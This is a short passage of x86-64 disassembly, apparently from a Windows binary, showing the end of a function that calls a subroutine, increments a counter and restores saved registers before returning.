or r14, rax
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], rbx
lea rdx, [0x140088370]
mov rcx, rsi
mov r8, r14
mov r9, rdi
call fcn.140002aa0
inc qword [rsi + 8]
add rsp, 0x48
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret